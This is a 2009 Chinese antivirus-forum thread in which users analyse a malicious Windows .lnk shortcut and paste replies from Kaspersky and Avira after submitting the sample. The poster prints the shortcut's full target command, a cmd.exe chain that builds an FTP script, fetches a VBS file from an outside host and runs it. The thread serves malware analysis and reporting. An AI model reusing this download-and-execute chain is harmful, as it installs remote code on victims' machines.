转来一个特别有意思的东东(lnk病毒 新增一只）

jijiasd

压缩时档名自动变成cmd,即使你上传到virus total,一样会自动变成cmd.exe,除非不再windows系统下.

问题出在这个副档名lnk,不管压缩或上传都会指向c:\windows\system32\cmd.exe


把这个档案"->按右键内容->目标栏里就可以看到问题所在

%windir%\system32\cmd.exe /c echo open www.as02.com>>a.t&echo as02>>a.t&echo 111>>a.t&echo get jnk %windir%\nk.vbs>>a.t&echo bye >>a.t&ftp -s:a.t&del a.t&start %windir%\nk.vbs& (卡巴正在全面分析ftp)

lnk病毒，卡巴工程师分析特征名为:Trojan-Downloader.Win32.Pif.gw

滋生物样本：http://bbs.kafan.cn/thread-407382-1-1.html

[ 本帖最后由 jijiasd 于 2009-1-15 17:42 编辑 ]

jijiasd

TO KL卡巴和红伞

IllusionWing

正在登陆ftp..

Palkia

rs 0

tgzw1680

费尔清空

zdlzp

是什么?

jijiasd

尊敬的用户，您好！


1.lnk

以上文件中包含恶意代码，正在处理中，请您注意及时更新病毒库查杀。



非常感谢您向我们提供可疑文件样本，有了您的支持我们将做得更好。
　　

感谢您对卡巴斯基的信任与支持！
我们诚恳地希望您来电或来信寻求关于产品的技术支持服务，如果您有关于卡巴斯基公司的合理化建议也希望您与我们联系。
24小时技术支持热线400-611-6633
中文主页：http://www.kaspersky.com.cn/
技术支持邮箱：support@kaspersky.com.cn
病毒上报邮箱：virus@kaspersky.com.cn

卡巴斯基中国技术服务中心 399号工程师为您服务

08红伞威点

File ID  Filename Size (Byte) Result
25232608  文件x2.rar 4.79 KB OK
25232467  ###########x#W#n#...##.eml 7.43 KB OK

A listing of files contained inside archives alongside their results can be found below:

File ID  Filename Size (Byte) Result
25232518  ###{######-#n####.lnk  1.92 KB  UNDER ANALYSIS


Please find a detailed report concerning each individual sample below:

Filename Result
###{######-#n####.lnk  UNDER ANALYSIS
------------------------------------------------------------------------------------------------------------------
to Avira。

08红伞威点

File ID  Filename Size (Byte) Result
25232608  文件x2.rar 4.79 KB OK
25232467  ###########x#W#n#...##.eml 7.43 KB OK

A listing of files contained inside archives alongside their results can be found below:

File ID  Filename Size (Byte) Result
25232518  ###{######-#n####.lnk  1.92 KB  MALWARE


Please find a detailed report concerning each individual sample below:

Filename Result
###{######-#n####.lnk  MALWARE

The file '###{######-#n####.lnk' has been determined to be 'MALWARE'. Our analysts discovered that the file is a Trojan. In general this kind of programs contains harmful functionality called payload. Detection will be added to our virus definition file (VDF) with one of the next updates.